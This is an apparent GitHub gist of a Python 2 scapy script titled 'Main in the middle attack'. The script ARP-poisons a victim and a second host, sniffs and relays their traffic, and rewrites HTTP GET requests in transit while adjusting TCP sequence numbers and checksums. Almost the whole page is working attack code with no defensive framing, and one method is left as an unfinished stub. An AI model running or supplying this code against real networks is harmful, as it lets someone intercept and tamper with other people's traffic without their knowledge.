Skip to content

Instantly share code, notes, and snippets.

@prongs
Created November 14, 2012 12:50
Show Gist options
  • Save prongs/4071926 to your computer and use it in GitHub Desktop.
Save prongs/4071926 to your computer and use it in GitHub Desktop.
Main in the middle attack
from scapy.all import *
import multiprocessing
import time,re
class MITM:
packets=[]
offset=0;
modifier='s'
diff_len=1
def __init__(self,victim=("192.168.56.129","00:0c:29:d1:aa:71" ),node2=("192.168.56.1", "00:50:56:c0:00:08")):
self.victim=victim
self.node2=node2
multiprocessing.Process(target=self.arp_poison).start()
try:
sniff(filter='((dst %s) and (src %s)) or ( (dst %s) and (src %s))'%(self.node2[0], self.victim[0],self.victim[0],self.node2[0]),prn=lambda x:self.routep(x))
except KeyboardInterrupt as e:
wireshark(packets)
#self.arp_poison()
def impersonate_webserver(self,packet):
victim_port=0
victim_ack_no=0
if packet.haslayer(TCP):
if packet[IP].src==self.victim[0]: #packets from the victim
victim_port=packet[TCP].sport
victim_ack_no=packet[TCP].ack
if packet.haslayer(Raw) and packet[Raw].load=='\r\n': #victim is Expecting reply from the server
reply_packet=Ether(src=get_if_hwaddr('eth0'),dst=self.victim[1],type=0x800)/IP(version=4L)
def routep(self,packet):
if packet.haslayer(IP):
d,s=packet[Ether].dst, packet[Ether].src
if d==s:
print "Hell\n"
#if packet[IP].dst==self.victim[0]:
#packet[Ether].src=packet[Ether].dst
#packet[Ether].dst=self.victim[1]
#elif packet[IP].dst==self.node2[0]:
#packet[Ether].src=packet[Ether].dst
#packet[Ether].dst=self.node2[1]
print self.offset
if packet[Ether].dst==get_if_hwaddr("eth0"):
if packet[Ether].src==self.victim[1]:
packet[Ether].dst=self.node2[1]
packet[Ether].src=get_if_hwaddr("eth0")
if packet.haslayer(TCP):
if packet[TCP].flags & 2: #syn packet
self.offset=0
packet[TCP].seq+=self.offset
del packet[TCP].chksum
#packet[TCP]=packet[TCP].__class__(str(packet[TCP]))
if packet.haslayer(Raw):
if re.match(r'(GET )(.*?)( HTTP.*?\r\n)', packet[Raw].load):
l2=re.sub(r'(GET )(.*?)( HTTP.*?\r\n)',r'\1\2s\3', packet[Raw].load)
packet[Raw].load=l2
print packet[Raw]
packet[IP].len+=1
del packet[IP].chksum
packet[IP]=packet[IP].__class__(str(packet[IP]))
self.offset+=1
elif packet[Ether].src==self.node2[1]:
packet[Ether].dst=self.victim[1]
packet[Ether].src=get_if_hwaddr("eth0")
if packet.haslayer(TCP):
packet[TCP].ack-=self.offset
del packet[TCP].chksum
#packet[TCP]=packet[TCP].__class__(str(packet[TCP]))
self.packets.append(packet)
sendp(packet,verbose=0)
#print len(self.packets)
#if len(self.packets)==100:
#wireshark(self.packets)
def arp_poison(self):
a=ARP()
a.psrc=self.victim[0]
a.pdst=self.node2[0]
b=ARP()
b.psrc=self.node2[0]
b.pdst=self.victim[0]
cond=True
while cond:
send(b,verbose=0)
send(a,verbose=0)
time.sleep(5)
#cond=False
if __name__=="__main__":
mitm=MITM()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment